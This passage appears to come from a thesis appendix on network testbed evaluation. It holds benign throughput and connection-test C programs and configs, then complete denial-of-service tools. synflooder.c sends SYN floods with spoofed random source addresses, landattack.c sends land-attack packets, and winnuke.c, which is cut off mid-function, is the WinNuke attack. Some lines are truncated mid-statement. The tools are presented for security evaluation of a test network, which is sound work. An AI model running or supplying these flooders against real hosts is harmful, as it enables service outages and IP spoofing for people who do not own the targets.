        printf("-------------------------------------------------------\n");
        //creating sending and receiving process
        sending_data(configuration);

    }//end of server loop
    exit(0);
}
```

A.8.4 Source code of the overseer of throughput_test

```
#include <stdio.h>
#include <stdlib.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>
#include <sys/time.h>
#include <sys/wait.h>
#include <sys/types.h>

int debug=1;

int listen_port=5000;
int number_of_computers=0;
int packet_size=1500;
int interval=30;

char* configfile;
```

```
struct conf {
   int packet_size;
   char server_name[256];
   int server_port;
   int overseer_port;
   int identifier;
   int interval;
};

struct result_from {
    int identifier;
    float throughput;
}result_from_computer={0,0};

struct test_constellation {
    struct sockaddr_in sa;
    int sa_size;
    char* computername;
    int sock;
    int port;
    struct conf configuration;
    float throughput;
};

void argument_check(int argc,char* argv[]){
    if (argc!=5) {
        fprintf(stderr,"Error: to few arguments!\n");
        fprintf(stdout,"Usage: %s <listen port> <packet size> <test
        interval in sec> <configfile>\n",argv[0]);
        exit(1);
    }

    if (!sscanf(argv[1],"%d",&listen_port)) {
        fprintf(stderr,"Error: listen port must be a number.\n");
        exit(1);
    }
    if ((listen_port<1024)||(listen_port>65535)) {
        fprintf(stderr,"Error: listen port must be between 1024 and
        65535.\n");
        exit(1);
    }
    if (!sscanf(argv[2],"%d",&packet_size)) {
        fprintf(stderr,"Error: packet size must be a number.\n");
        exit(1);
    }
    if ((packet_size<43)||(packet_size>1500)) {
        fprintf(stderr,"Error: packet size must be between 43 and
        1500.\n");
        exit(1);
    }
    if (!sscanf(argv[3],"%d",&interval)) {
        fprintf(stderr,"Error: packet size must be a number.\n");
        exit(1);
```

```
    }
    if ((interval<1)||(interval>65000)) {
        fprintf(stderr,"Error: packet size must be between 1 and
␣␣␣␣␣␣␣␣65000.\n");
        exit(1);
    }
    configfile=argv[4];
}

int generate_tcp_server_socket(int port) {
    struct sockaddr_in sa;
    int s;

    memset(&sa,0,sizeof(sa));
    sa.sin_family=AF_INET;
    sa.sin_addr.s_addr=INADDR_ANY;
    sa.sin_port=htons(port);

    s=socket(AF_INET,SOCK_STREAM,0);
    if (s==-1) {
        fprintf(stderr,"Error creating socket.\n");
        exit(1);
    }
    if (bind(s,(struct sockaddr*)&sa,sizeof(sa))==-1) {
        fprintf(stderr,"Error at binding server on port %d.\n",port);
        exit(1);
    }
    if (listen(s,10)== -1) {
        fprintf(stderr,"Error at listen().\n");
        exit(1);
    }
    return s;
}

struct test_constellation* read_configuration(char* configfile) {
    FILE *stream;
    char c;
    char* arg;
    int argsize=0;
    int numbercomputers=0;
    int counter=1;
    struct test_constellation *test;

    stream=fopen(configfile,"r");
    if (stream==NULL) {
        fprintf(stderr,"Error opening %s!\n",configfile);
        exit(1);
    }
    while ((c=fgetc(stream))!=EOF) {
        switch(c) {
            case ' ':{
                //argument ends
                switch(counter){
```

```
                    case 1: {
                        //computername ends
                        numbercomputers++;
                        if (numbercomputers==1) {
                            test=(struct test_constellation*)malloc(
                            sizeof(struct test_constellation)*
                            numbercomputers);
                        }
                        else {
                            test=(struct test_constellation*)realloc(
                            test,sizeof(struct test_constellation)*
                            numbercomputers);
                        }
                        argsize++;
                        if (argsize==1) arg=(char*)malloc(sizeof(char));
                        else arg=(char*)realloc(arg,sizeof(char)*argsize);
                        arg[argsize-1]=0;
                        test[numbercomputers-1].computername=arg;
                        argsize=0;
                        counter++;
                        break;
                    }
                    case 2: {
                        //servername ends
                        argsize++;
                        if (argsize>256) {
                            fprintf(stderr,"Servername to long (line %d).
Mamimal 256 chars allowed!\n",numbercomputers);
                            exit(1);
                        }
                        if (argsize==1) arg=(char*)malloc(sizeof(char));
                        else arg=(char*)realloc(arg,sizeof(char)*argsize);
                        arg[argsize-1]=0;
                        memcpy(&test[numbercomputers-1].configuration.
                        server_name,arg,argsize);
                        argsize=0;
                        counter++;
                        break;
                    }
                    case 3: {
                        //port of server+client  ends
                        argsize++;
                        if (argsize==1) arg=(char*)malloc(sizeof(char));
                        else arg=(char*)realloc(arg,sizeof(char)*argsize);
                        arg[argsize-1]=0;
                        if (!sscanf(arg,"%d",&test[numbercomputers-1].port)) {
                            fprintf(stderr,"Error reading port (line %d).
Port must be a number.\n",numbercomputers);
                            exit(1);
                        }
                        argsize=0;
                        counter++;
                        break;
```

```
                    }
                    default: {
                        fprintf(stderr,"Error in syntax in %s line %d
 (counter=%d).\n",configfile,numbercomputers,
                        counter);
                        fprintf(stderr,"<computername> <servername>
 <serverport1> <serverport2>\n");
                        exit(1);
                        break;
                    }
                }
                argsize=0;
                break;
            }
            case '\n':{
                //port 2 ends
                argsize++;
                if (argsize==1) arg=(char*)malloc(sizeof(char));
                else arg=(char*)realloc(arg,sizeof(char)*argsize);
                arg[argsize-1]=0;
                if (!sscanf(arg,"%d",&test[numbercomputers-1].
                configuration.server_port)) {
                    fprintf(stderr,"Error reading server_port2 (line
 %d). Port must be a number.\n",numbercomputers);
                    exit(1);
                }
                argsize=0;
                counter=1;
                test[numbercomputers-1].configuration.overseer_port
                =listen_port;
                test[numbercomputers-1].configuration.packet_size
                =packet_size;
                test[numbercomputers-1].configuration.interval
                =interval;

                break;
            }
            default: {
                //normal character
                argsize++;
                if (argsize==1) arg=(char*)malloc(sizeof(char));
                else arg=(char*)realloc(arg,sizeof(char)*argsize);
                arg[argsize-1]=c;
                break;
            }
        }
    }
    number_of_computers=numbercomputers;
    printf("number_of_computers: %d\n",number_of_computers);
    if (number_of_computers%2!=0) {
        fprintf(stderr,"Error: number of servers + clients must be
 an even number.\n");
        exit(1);
```

```
    }
    return test;
}
void print_configuration(struct test_constellation *test) {
    int i=0;
    for (i=0;i<number_of_computers;i++) {
        printf("%d. computer:\n",i+1);
        printf("name: %s\n",test[i].computername);
        printf("server_name: %s\n",test[i].configuration.server_name);
        printf("packet_size: %d\n", test[i].configuration.packet_size);
        printf("server_port: %d\n", test[i].configuration.server_port);
        printf("interval: %d\n", test[i].configuration.interval);
        printf("overseer_port: %d\n", test[i].configuration.overseer_port);
    }
}

int main(int argc, char *argv[]) {
    struct test_constellation *test;
    float throughput;
    struct hostent *hp;
    int i,j,l=0;
    int s,s2,msock=0;
    struct sockaddr_in clientsa;
    int clientsa_size=sizeof(clientsa);

    argument_check(argc,argv);

    //read the configuration for the test
    test=read_configuration(configfile);

    //generating socket for receiving
    s2=generate_tcp_server_socket(listen_port);

    //initialise communication structures for the clients and servers
    printf("Initialising address structures...\n");
    for (i=0;i<number_of_computers;i++) {
        test[i].sa_size=sizeof(test[i].sa);
        bzero(&test[i].sa,test[i].sa_size);
        hp=(struct hostent*)gethostbyname(test[i].computername);
        if (hp==NULL) {
            if (inet_aton(test[i].computername,&test[i].sa.sin_addr)==0) {
                fprintf(stderr,"Error at inet_aton().\n");exit(1);
            }
            hp=(struct hostent*)gethostbyaddr(test[i].computername,
            strlen(test[i].computername),AF_INET);
            if (hp==NULL) {
                fprintf(stderr,"Error: unknown IP or unknown host.\n");
                exit(1);
            }
        }
        else {
             //host found
            memcpy(&test[i].sa.sin_addr,hp->h_addr,hp->h_length);
```

```
        }
        test[i].sa.sin_family=AF_INET;
        test[i].sa.sin_port=htons(test[i].port);
        test[i].sock=socket(AF_INET,SOCK_STREAM,0);
        test[i].configuration.packet_size=packet_size;
        test[i].configuration.identifier=i;
    }

    print_configuration(test);
    //connect to the clients and servers
    printf("Connecting to the computers...\n");
    for (i=0;i<number_of_computers;i++) {
        for (;;) {
            if (connect(test[i].sock,(struct sockaddr*)&test[i].sa,
            test[i].sa_size)==-1) { //connect to server
                fprintf(stderr,"Error: connecting to server %s failed!
 Retrying.\n",inet_ntoa(test[i].sa.sin_addr));
                sleep(2);
            }
            else break;
        }
    }
    printf("-----------------------------------------------------------\n");
    printf("| Performing test with %d byte large packets.\n",
    packet_size);
    printf("-----------------------------------------------------------\n");

    if (debug==1) printf("Sending configuration to the computers!\n");
    for (i=0;i<number_of_computers;i++) {
        //sending test configuration to the responsible computers
        if (write(test[i].sock,&test[i].configuration,
        sizeof(struct conf))==-1) {
            fprintf(stderr,"Error: in sending configuration to a
 computer!\n");
            exit(1);
        }
        if (close(test[i].sock)==-1) {
            printf("Error closing socket for %d. computer.\n",i);
        }
    }
    //collecting all the results
    if (debug==1) printf("Overseer is waiting for results.\n");
    for (i=0;i<number_of_computers/2;i++) {
        //receiving throughput
        msock=accept(s2,(struct sockaddr*)&clientsa,&clientsa_size);
        if (msock==-1) {
            fprintf(stderr,"Error at accept.\n");
            continue;
        }
        if ((l=read(msock,&result_from_computer,
        sizeof(struct result_from)))==-1) {
            fprintf(stderr,"Error reading a result!\n");
        }
```

```
        if (debug==1) printf("Computer %s with id %d has %f throughput.
        \n",inet_ntoa(clientsa.sin_addr),result_from_computer.identifier,
        result_from_computer.throughput);
        throughput=0;
        for (j=0;j<number_of_computers;j++) {
            if (test[j].configuration.identifier==result_from_computer.
            identifier) {
                throughput+=result_from_computer.throughput;
                test[j].throughput=result_from_computer.throughput;
            }
            else {
                throughput+=test[j].throughput;
            }
        }
        if (close(msock)==-1) {
            fprintf(stderr,"Error closing msock!\n");
        }
        printf("-----------------------------------------------------------\n");
        printf("| Direction: throughput of all computers\n");
        printf("| Throughput: %f Byte/s \n",throughput);
        printf("|             %f kByte/s \n",throughput/1024);
        printf("|             %f MByte/s \n",throughput/1048576);
        printf("|             %f MBit/s \n",throughput*8/1048576);
        printf("-----------------------------------------------------------\n");
    }
    close(s2);
    close(s);
    exit(0);
}
```

A.8.5 Config file single.conf for throughput_test

```
192.168.1.3 192.168.1.1 5000 5001
192.168.1.1 192.168.1.1 5000 5001
```

A.8.6 Config file flood.conf for throughput_test

```
left1 192.168.100.11 5000 5001
left2 192.168.100.11 5000 5011
left3 192.168.100.11 5000 5021
left4 192.168.100.11 5000 5031
left5 192.168.100.11 5000 5041
left6 192.168.100.11 5000 5051
left7 192.168.100.11 5000 5061
192.168.100.11 192.168.100.11 5000 5001
192.168.100.11 192.168.100.11 5010 5011
192.168.100.11 192.168.100.11 5020 5021
192.168.100.11 192.168.100.11 5030 5031
192.168.100.11 192.168.100.11 5040 5041
192.168.100.11 192.168.100.11 5050 5051
192.168.100.11 192.168.100.11 5060 5061
```

A.8.7 Config file scenario1.conf for throughput_test

```
right1 right1 5000 5001
right2 right2 5000 5001
right3 right3 5000 5001
right4 right4 5000 5001
right5 right5 5000 5001
right6 right6 5000 5001
left1 right1 5000 5001
left2 right2 5000 5001
left3 right3 5000 5001
left4 right4 5000 5001
left5 right5 5000 5001
left6 right6 5000 5001
```

A.8.8 Config file scenario1b.conf for throughput_test

```
right1 right1 5000 5001
right2 right2 5000 5001
right3 right3 5000 5001
right4 right4 5000 5001
right5 right5 5000 5001
right6 right6 5000 5001
left1 right1 5000 5001
left2 right2 5000 5001
left3 right3 5000 5001
left4 right4 5000 5001
left5 right5 5000 5001
left6 right6 5000 5001
```

A.8.9 Makefile for connection_test

```
all: client server

client: connection_test_client.c
        gcc connection_test_client.c -O3 -o connection_test_client

server: connection_test_server.c
        gcc connection_test_server.c -O3 -o connection_test_server

clean:
        rm -f connection_test_client connection_test_server
```

A.8.10 Source code of the server of connection_test

```
#include <stdio.h>
#include <stdlib.h>
#include <sys/socket.h>
#include <netinet/in.h>

static int port=5000;
static int number_of_connections=1;

void argument_check(int argc,char *argv[]) {
    int fehler=0;
```

```
    if (argc<3) {
        fprintf(stderr,"Error: to few arguments!\n");
        fprintf(stderr,"Usage: ./main <listen port> <number of
        connections>\n");
        exit(1);
    }
    if (!sscanf(argv[1],"%d",&port)) {
        fprintf(stderr,"Error: port must be a number");
        exit(1);
    }
    if ((port<1024)||(port>65536)) {
        fprintf(stderr,"Error: port must be between 1024 and
        65536!\n");
        exit(1);
    }
    if (!sscanf(argv[2],"%d",&number_of_connections)) {
        fprintf(stderr,"Error: number of connections must be a
        number");
        exit(1);
    }
    if ((number_of_connections<1)||(number_of_connections>65536)) {
        fprintf(stderr,"Error: number of connections must be between
        1 and 65536!\n");
        exit(1);
    }
}
int generate_socket(int port) {
    struct sockaddr_in sa;
    int s;

    memset(&sa,0,sizeof(sa));
    sa.sin_family=AF_INET;
    sa.sin_addr.s_addr=INADDR_ANY;
    sa.sin_port=htons(port);

    s=socket(AF_INET,SOCK_STREAM,0);
    if (s==-1) {
        fprintf(stderr,"Error at socket().\n");
        exit(1);
    }
    if (bind(s,(struct sockaddr*)&sa,sizeof(sa))==-1) {
        fprintf(stderr,"Error at bind().\n");
        exit(1);
    }
    if (listen(s,10)==-1) {
        fprintf(stderr,"Error at listen()\n");
        exit(1);
    }
    return s;
}

int main(int argc, char *argv[]) {
```

```
    int s,msock;
    struct sockaddr_in clientsa;
    int clientsa_size=sizeof(clientsa);
    int l=0;
    int i,counter,temp,retv,k=0;

    argument_check(argc,argv);

    //each process can handle about 1024 connections -> for each
    //1000 connections a single process is created
    //client_child1 ->over port+0 ->server_child1
    //client_child2 ->over port+1 ->server_child2
    //...
    //client_father ->over port+k ->server_father
    temp=number_of_connections;
    k=0;
    while (temp>1000) {
        retv=fork();
        if (retv==-1) {
            fprintf(stderr,"Error: in fork()!\n");exit(1);
        }
        if (retv==0) {
            temp=0; //child //must jump out of the loop
            number_of_connections=1000;

        }
        if (retv>0) {
            temp=temp-1000;
            number_of_connections=temp;
            k++;
        }
    }

    s=generate_socket(port+k);

    counter=0;
    for (;;) {
        msock=accept(s,0,0);
        if (msock==-1) {
            fprintf(stderr,"Error at accept()\n");
        }
        else {
            counter++;
        }
        printf("Connection number of server on port %d = %d\n",
        port+k,counter);

    }
    exit(0);
}
```

A.8.11 Source code of the client of connection_test

```
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>
#include <unistd.h>
#include <signal.h>

static int total_number_of_connections=1;
static int connections_per_process=1000;
static int start_port=5000;
static int* s;

void argument_check(int argc, char* argv[]) {
    if (argc<4) {
        fprintf(stderr,"Error: to few arguments!\n");
        fprintf(stderr,"Usage: ./main <server name> <port> <number of
        connections>\n");exit(1);
    }
    if (!sscanf(argv[2],"%d",&start_port)) {
        fprintf(stderr,"Error: port must be a number.\n");exit(1);
    }
    if ((start_port<1024)||(start_port>65536)) {
        fprintf(stderr,"Error: port must lie between 1024 and 65536!\n");
        exit(1);
    }
    if (!sscanf(argv[3],"%d",&total_number_of_connections)) {
        fprintf(stderr,"Error: number of connections must be a number.
        \n");exit(1);
    }
    if (total_number_of_connections<1) {
        fprintf(stderr,"Error: number of connections must be greater
        than 1!\n");exit(1);
    }
}

int build_up_connections(char* server,int port,int number_of_connections) {
    struct sockaddr_in sa;
    struct hostent *hp;
    int counter,stop=0;

    if (number_of_connections>connections_per_process) {
        fprintf(stderr,"Error: number_connections>connections_per_process.
        \n");
        exit(1);
    }
    s=(int*)malloc(sizeof(int)*connections_per_process);
    bzero(&sa,sizeof(sa));
    hp=(struct hostent*)gethostbyname(server);
    if (hp==NULL) {
        if (inet_aton(server,&sa.sin_addr)==0) {
            fprintf(stderr,"Error at inet_aton()!\n");exit(1);
```

```
        }
        hp=(struct hostent*)gethostbyaddr(server,sizeof(server),AF_INET);
        if (hp==NULL) {
            fprintf(stderr,"Error: unknown IP or unknown host!\n");
            exit(1);
        }
    }
    else {
        //host found
        memcpy(&sa.sin_addr,hp->h_addr,hp->h_length);
    }
    sa.sin_family=AF_INET;
    sa.sin_port=htons(port);

    printf("Client with PID %d connecting to %s(%s):%d\n",getpid(),
    hp->h_name,inet_ntoa(sa.sin_addr),port);
    for (counter=0;counter<=number_of_connections-1;counter++) {
        s[counter]=socket(AF_INET,SOCK_STREAM,0);
        if (connect(s[counter],(struct sockaddr*)&sa,sizeof(sa))==-1) {
            fprintf(stderr,"Error in connect().\n");
            stop=1;
            break;
        }
    }
    if (stop==1) {
        fprintf(stderr,"Server or client can not create any new
        connections.\n");
    }
    return counter;
}

int main(int argc,char* argv[]) {
    int l,i,loop,temp_connections,temp_port,retv,count,entire_count,k,
    exitstate,stop=0;
    char c;

    argument_check(argc,argv);
    k=0;
    //each process can handle about 1024 connections -> for each 1000
    //connections a single process is created
    //client_child1 ->over port+0 ->server_child1
    //client_child2 ->over port+1 ->server_child2
    //...
    //client_father ->over port+k ->server_father

    stop=0;
    entire_count=0;
    temp_connections=total_number_of_connections;
    temp_port=start_port;

    while (temp_connections>0) {
        //if there are some connections which have to made are
        //left ... make them
```

```
        if (temp_connections<=connections_per_process) {
            entire_count+=build_up_connections(argv[1],temp_port,
            temp_connections);
            temp_connections=0;
            temp_port++;
            stop=1;
        }
        else {
            temp_connections=temp_connections-connections_per_process;
            count=build_up_connections(argv[1],temp_port,
            connections_per_process);
            entire_count+=count;
            if (count<connections_per_process) {
                //printf("Stop: client can not establish any new
                //connections.\n");
                stop=1;
                break;
            }
            else {
                retv=fork();
                if (retv==-1) {
                    fprintf(stderr,"Error: in fork()!\n");exit(1);
                }
                if (retv==0) {
                    //son simple continues
                }
                if (retv>0) {
                    waitpid(retv,&exitstate,0); //father waits for son
                    //if son exited with error
                    if (exitstate==1) {
                        for (i=0;i<=count;i++) {
                            if (close(s[i])==-1) {
                                fprintf(stderr,"Error: in close().\n");
                                exit(1);
                            }
                        }
                        exit(1);
                    }
                    stop=0;
                    break;
                }
            }
            temp_port++;
        }
    }

    //only last client should display entire established connections
    if (stop==1) {
        printf("%d connections where established.\n",entire_count);
        printf("Press Enter to close all opened connections!\n");
        scanf("%c",&c);
    }
```

```
    exit(0);
}
```

A.8.12 Stopscript for the clients and server of connection_test

```
#!/bin/bash
echo "Killing all processes concerning connection_test"
ssh right1 killall connection_test_server
ssh right2 killall connection_test_server
ssh right3 killall connection_test_server
ssh right4 killall connection_test_server
ssh right5 killall connection_test_server
ssh right6 killall connection_test_server
ssh right7 killall connection_test_server
ssh left1 killall connection_test_client
ssh left2 killall connection_test_client
ssh left3 killall connection_test_client
ssh left4 killall connection_test_client
ssh left5 killall connection_test_client
ssh left6 killall connection_test_client
ssh left7 killall connection_test_client
```

A.9 Source code of security evaluation tools

A.9.1 Makefile

```
all: synflooder landattack winnuke strip

synflooder:
        diet gcc synflooder.c helper.c -O3 -o synflooder

landattack:
        diet gcc landattack.c helper.c -O3 -o landattack

winnuke:
        gcc winnuke.c -o winnuke

strip:
        strip synflooder
        strip landattack

clean:
        rm -f synflooder landattack
```

A.9.2 helper.c

```
#include <stdio.h>
#include <stdlib.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>
#include <sys/types.h>
```

```
#include <sys/socket.h>
#include <sys/utsname.h>
#include <time.h>
#include <netdb.h>

/* generates a random ip adress */
unsigned int randip() {
   char *buf = (char *)calloc(1, sizeof(char) * 16);

   snprintf(buf, sizeof(char) * 16, "%d.%d.%d.%d",
            (int)(random()%191)+23,
            (int)(random()%253)+1,
            (int)(random()%253)+1,
            (int)(random()%253)+1);

   return inet_addr(buf);
}

/* calculate and return the IP Checksum for *ptr with length len */
unsigned short in_cksum(unsigned char *ptr, int len) {
        register long sum = 0;
        register unsigned short answer;

        /* add all values in *ptr together to sum */
        while(len > 0) {
                sum += *ptr++;
                len -= 1;
        }

        /* calculate the checksum */
        sum = (sum >> 16) + (sum & 0xFFFF);
        sum += (sum >> 16);
        answer = ~sum;
        return answer;
}

/* calculate and return the TCP Checksum for *ptr with Payload length */
/* *ptr: pointer to IP Packet
 * len: length of Payload
 */
unsigned short tcp_cksum(unsigned short *ptr, int len) {
        register long sum = 0;
        unsigned short oddbyte;
        register unsigned short answer;

        // add pseudo header to calculation ... we should really offload this
        // crap
        ptr += 6;
        // source-ip
        sum += *ptr++;
        sum += *ptr++;
        // dest ip
        sum += *ptr++;
```

```
        sum += *ptr++;
        // protocol
        sum += htons(6);
        // tcp length
        oddbyte = htons(len + sizeof(struct tcphdr));
        sum += oddbyte;

        len += sizeof(struct tcphdr);

        /* add all values in *ptr together to sum */
        while(len > 0) {
                sum += *ptr++;
                len -= 2;
        }

        if(len == 1) {
                oddbyte = 0;
                *((unsigned char *)&oddbyte) = *(unsigned char *)ptr;
                sum += oddbyte;
        }

        /* calculate the checksum */
        sum = (sum >> 16) + (sum & 0xFFFF);
        sum += (sum >> 16);
        // ~x means one's complement from x ;)
        answer = ~sum;
        return answer;
}
```

A.9.3 synflooder.c

```
/***
* synflooder.c ....
*
* builds syn packets with random source and definable destination IP
* To simulate a syn-flood attack.
*
***/

#include <stdio.h>
#include <stdlib.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/utsname.h>
#include <time.h>
#include <netdb.h>

// to change thes packet size
// ... filled with binary 0's
#define PAYLOAD 1024
```

```
void usage(char *arg) {
        printf("Usage: %s <dst> <port>\n", arg);
        exit(1);
}

int sendpacket(struct sockaddr_in *dst, int dstport) {
        unsigned char *pkt;
        struct iphdr *ip;
        struct tcphdr *tcp;
        int s;
        long int num, ctr, timer, prevctr = 0;
        double bandwidth;

        pkt = (unsigned char *)calloc(1, PAYLOAD +



        /* ip points to the beginning of the ip-header */
        ip = (struct iphdr *)pkt;
        /* tcp points to the beginning of tcp-header */
        tcp = (struct tcphdr *)(pkt + sizeof(struct iphdr));

        /*++++++++++++++++++++++++++++++++++
         * fill ip-header
         ++++++++++++++++++++++++++++++++++*/
        ip->version = 4;
        ip->ihl = (sizeof *ip) / 4;
        ip->tos = 0;
        ip->tot_len =  htons(sizeof(struct iphdr) +
                                                sizeof(struct tcphdr) +
                                                PAYLOAD);
        ip->id = htons((random() % 40000) + 500);
        ip->frag_off = htons(0x4000);
        ip->ttl = 255;
        ip->protocol = 6;
        ip->check = 0;
        ip->saddr = randip();
        ip->daddr = dst->sin_addr.s_addr;

        /* calculate checksum - no, the operating system does this for us -
         * faster with optimized assembler code ;) */
        //ip->check = in_cksum((unsigned char *)ip, sizeof(struct iphdr));

        /*++++++++++++++++++++++++++++++++++
         * fill tcp-header
         ++++++++++++++++++++++++++++++++++*/

        tcp->source = htons((random() % 65536));
        tcp->dest = htons(dstport);
        tcp->seq = htons((random() % 65536));
        tcp->ack_seq = htons((random() % 65536));
        tcp->doff = sizeof(struct tcphdr) / 4;
```

```
        tcp->res1 = 0;
        tcp->urg = 0;
        tcp->ack = 0;
        tcp->psh = 0;
        tcp->rst = 0;
        tcp->syn = 1;
        tcp->fin = 0;
        tcp->window = htons(1024);
        tcp->check = 0;
        tcp->urg_ptr =0;

        /* calculate tcp checksum */
        tcp->check = tcp_cksum((unsigned short *)ip, PAYLOAD);

        // open raw socket for communication
        if((s = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) {
                perror("error: socket()");
                return 1;
        }

        printf("initializing ready ...
        beginning to flood ;) ...\n");
        printf("(getting randomized data
        (poolsize: %d bytes, RAND_MAX:
        %d) ...\n", sizeof(num), RAND_MAX);

        timer = time(NULL);
        timer = timer + 10;
        ctr = 0;

        // forever :)
        while(1==1) {
                if(time(NULL) == timer)
                {
                        // MB/sec
                        bandwidth=ctr/10*(sizeof(struct iphdr) +
                                sizeof(struct tcphdr) +
                                PAYLOAD)/1024/1024;
                        prevctr+=ctr;
                        printf("%ld: sent %ld packets (%ld pkt/s,
                        %.2f MB/s, %.2f MBit/s)\n", timer,
                                prevctr, ctr/10, bandwidth, bandwidth*8);
                        ctr=0;
                        timer += 10;
                }
                // get a long int random num ... 4
                num = random();
                ip->saddr = randip();
                ip->id=num;
                tcp->source = num;
                tcp->seq = num;
                tcp->ack_seq = num;
                tcp->check =  0;
```

```
                tcp->check = tcp_cksum((unsigned short *)ip, PAYLOAD);

                if(sendto(      s,
                                                pkt,
                                                sizeof(struct iphdr) +
                                                sizeof(struct tcphdr) +
                                                PAYLOAD,
                                                0,
                                                (struct sockaddr *)dst,
                                                sizeof(struct sockaddr_in)) == -1) {
                        perror("error: sendto()");
                        return 1;
                }
                ctr++;
        }

        return 0;
}

int main(int argc, char **argv) {
        struct sockaddr_in dst;
        struct in_addr target;

        srandom(time(NULL));
        if(argc < 3)
                usage(argv[0]);

        if(! inet_aton(argv[1], &target))
                usage(argv[0]);

        memcpy(&dst.sin_addr.s_addr, &target, sizeof(target));
        dst.sin_port = htons(0);
        dst.sin_family = PF_INET;

        sendpacket(&dst, atoi(argv[2]));

        return 0;
}
```

A.9.4 landattack.c

```
/***
* landattack.c ....
*
* builds packets with identical source and destination IP and identical
* source and destination port (random ports) and sends them to a
* defineable target. To simulate a land attack.
*
***/

#include <stdio.h>
#include <stdlib.h>
#include <netinet/in.h>
```

```
#include <netinet/ip.h>
#include <netinet/tcp.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/utsname.h>
#include <time.h>
#include <netdb.h>

// to change thes packet size
// ... filled with binary 0's
#define PAYLOAD 1024

void usage(char *arg) {
         printf("Usage: %s <dst>\n", arg);
         exit(1);
}

int sendpacket(struct sockaddr_in *dst) {
        unsigned char *pkt;
        struct iphdr *ip;
        struct tcphdr *tcp;
        int s;
        long int num, ctr, timer, prevctr = 0;
        double bandwidth;

        pkt = (unsigned char *)calloc(1, PAYLOAD +



        /* ip points to the beginning of the ip-header */
        ip = (struct iphdr *)pkt;
        /* tcp points to the beginning of tcp-header */
        tcp = (struct tcphdr *)(pkt + sizeof(struct iphdr));

        /*++++++++++++++++++++++++++++++++++
         * fill ip-header
         ++++++++++++++++++++++++++++++++++*/
        ip->version = 4;
        ip->ihl = (sizeof *ip) / 4;
        ip->tos = 0;
        ip->tot_len =  htons(sizeof(struct iphdr) +
                                                    sizeof(struct tcphdr) +
                                                    PAYLOAD);
        ip->id = htons((random() % 40000) + 500);
        ip->frag_off = htons(0x4000);
        ip->ttl = 255;
        ip->protocol = 6;
        ip->check = 0;
        ip->saddr = dst->sin_addr.s_addr;
        ip->daddr = dst->sin_addr.s_addr;

        /* calculate checksum - no, the operating system does this for us -
         * faster with optimized assembler code ;) */
```

```
        //ip->check = in_cksum((unsigned char *)ip, sizeof(struct iphdr));

        /*++++++++++++++++++++++++++++++++++
         * fill tcp-header
         ++++++++++++++++++++++++++++++++++*/
        tcp->source = htons((random() % 65536));
        tcp->dest = tcp->source;
        tcp->seq = htons((random() % 65536));
        tcp->ack_seq = htons((random() % 65536));
        tcp->doff = sizeof(struct tcphdr) / 4;
        tcp->res1 = 0;
        tcp->urg = 0;
        tcp->ack = 0;
        tcp->psh = 0;
        tcp->rst = 0;
        tcp->syn = 1;
        tcp->fin = 0;
        tcp->window = htons(1024);
        tcp->check = 0;
        tcp->urg_ptr =0;

        /* calculate tcp checksum */
        tcp->check = tcp_cksum((unsigned short *)ip, PAYLOAD);

        // open raw socket for communication
        if((s = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) {
                perror("error: socket()");
                return 1;
        }

        printf("initializing ready ...
        beginning to flood ;) ...\n");
        printf("(getting randomized data
        (poolsize: %d bytes, RAND_MAX:
        %d) ...\n", sizeof(num), RAND_MAX);

        timer = time(NULL);
        timer = timer + 10;
        ctr = 0;

        // forever :)
        while(1==1) {
                if(time(NULL) == timer)
                {
                        // MB/sec
                        bandwidth=ctr/10*(sizeof(struct iphdr) +
                                sizeof(struct tcphdr) +
                                PAYLOAD)/1024/1024;
                        prevctr+=ctr;
                        printf("%ld: sent %ld packets (%ld pkt/s,
                        %.2f MB/s, %.2f MBit/s)\n", timer,
                                prevctr, ctr/10, bandwidth, bandwidth*8);
                        ctr=0;
```

```
                        timer += 10;
                }
                // get a long int random num ... 4
                num = random();
                ip->id=num;
                tcp->source = num;
                tcp->dest = num;
                tcp->seq = num;
                tcp->ack_seq = num;
                tcp->check =  0;
                tcp->check = tcp_cksum((unsigned short *)ip, PAYLOAD);

                if(sendto(      s,
                                        pkt,
                                        sizeof(struct iphdr) +
                                        sizeof(struct tcphdr) +
                                        PAYLOAD,
                                        0,
                                        (struct sockaddr *)dst,
                                        sizeof(struct sockaddr_in)) == -1) {
                        perror("error: sendto()");
                        return 1;
                }
                ctr++;
        }

        return 0;
}

int main(int argc, char **argv) {
        struct sockaddr_in dst;
        struct in_addr target;

        srandom(time(NULL));
        if(argc < 2)
                usage(argv[0]);

        if(! inet_aton(argv[1], &target))
                usage(argv[0]);

        memcpy(&dst.sin_addr.s_addr, &target, sizeof(target));
        dst.sin_port = htons(0);
        dst.sin_family = PF_INET;

        sendpacket(&dst);

        return 0;
}
```

A.9.5 winnuke.c

```
/* winnuke.c - (05/07/97)  By _eci  */
/* Tested on Linux 2.0.30, SunOS 5.5.1, and BSDI 2.1 */
```

```
#include <stdio.h>
#include <string.h>
#include <netdb.h>
#include <netinet/in.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <unistd.h>

#define dport 22  /* Attack port: 139 is what we want */

int x, s;
char *str = "Bye";  /* Makes no diff */
struct sockaddr_in addr, spoofedaddr;
struct hostent *host;


int open_sock(int sock, char *server, int port) {
     struct sockaddr_in blah;
     struct hostent *he;
     bzero((char *)&blah,sizeof(blah));
     blah.sin_family=AF_INET;
     blah.sin_addr.s_addr=inet_addr(server);
     blah.sin_port=htons(port);


    if ((he = gethostbyname(server)) != NULL) {
        bcopy(he->h_addr, (char *)&blah.sin_addr, he->h_length);
    }
    else {
         if ((blah.sin_addr.s_addr = inet_addr(server)) < 0) {
           perror("gethostbyname()");
           return(-3);
         }
    }

        if (connect(sock,(struct sockaddr *)&blah,16)==-1) {
             perror("connect()");
             close(sock);
             return(-4);
        }
        printf("Connected to [%s:%d].\n",server,port);
        return;
}


void main(int argc, char *argv[]) {

     if (argc != 2) {
       printf("Usage: %s <target>\n",argv[0]);
       exit(0);
     }
```

```
    if ((s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) == -1) {
        perror("socket()");
        exit(-1);
    }

